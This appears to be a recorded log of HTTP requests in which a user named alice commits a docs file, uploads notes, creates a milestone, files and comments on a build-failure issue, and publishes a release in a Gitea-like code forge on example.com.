+{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=2a8b9144333b5cb8075a74c64b31dbaa7ea02b3c&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "GET", "target": "/assets/js/---.8673fbd3.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/------.2befb329.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-markdown_dist_index_js.eef88d50.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/docs/python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 224", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4q9JlyMIwlkOQ1ZY", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundary4q9JlyMIwlkOQ1ZY\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n------WebKitFormBoundary4q9JlyMIwlkOQ1ZY--\r\n"}
+{"method": "POST", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tree_path=&files=cde01135-f509-483d-af4a-56d1f754aa2c&files_fullpath%5Bcde01135-f509-483d-af4a-56d1f754aa2c%5D=notes.txt&commit_summary=Add+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/labels", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/colorpicker.6c3c1b7d.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/colorpicker.eb94c3c5.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 36", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Version+1.1&deadline=&content="}
+{"method": "GET", "target": "/alice/tools/milestones", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Bmilestone%2B%2522Version%2B1.1%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/issues/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 5018", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZATiKc8Kvm2f9kjJ", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryZATiKc8Kvm2f9kjJ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"screenshot.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
+{"method": "POST", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1281", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBVS0yCpwcYAG4g1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBuild fails on a clean checkout\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThe build stops after the first step. It works on the second try.\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n179d62f5-4ae4-4e5e-9893-269ae399ca12\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files_fullpath[179d62f5-4ae4-4e5e-9893-269ae399ca12]\"\r\n\r\nscreenshot.png\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"edit_mode\"\r\n\r\ntrue\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"search\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1--\r\n"}
+{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 38", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1"}
+{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues/1/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/attachments/179d62f5-4ae4-4e5e-9893-269ae399ca12", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/issues/1/comments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 163", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuLA6czyWTpPLGhxN", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryuLA6czyWTpPLGhxN\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThanks, I can see it too.\r\n------WebKitFormBoundaryuLA6czyWTpPLGhxN--\r\n"}
+{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 55", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1%23issuecomment-1"}
+{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/releases/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygH3DxdI69SJCwZ2b", "Origin: http://example.com", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarygH3DxdI69SJCwZ2b\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tools-linux-amd64.tar.gz\"\r\nContent-Type: application/gzip\r\n\r\neJwryc/PKVZIysxLLKosGQFsAIkDYLk=\r\n------WebKitFormBoundarygH3DxdI69SJCwZ2b--\r\n"}
+{"method": "POST", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tag_name=v1.1.0&tag_target=main&title=Version+1.1.0&content=Faster+builds.&attachment-template-new-name=&attachment-template-new-exturl=&files=a637a7ba-b419-4ec3-8c33-1c119e93bc14&files_fullpath%5Ba637a7ba-b419-4ec3-8c33-1c119e93bc14%5D=tools-linux-amd64.tar.gz"}
+{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
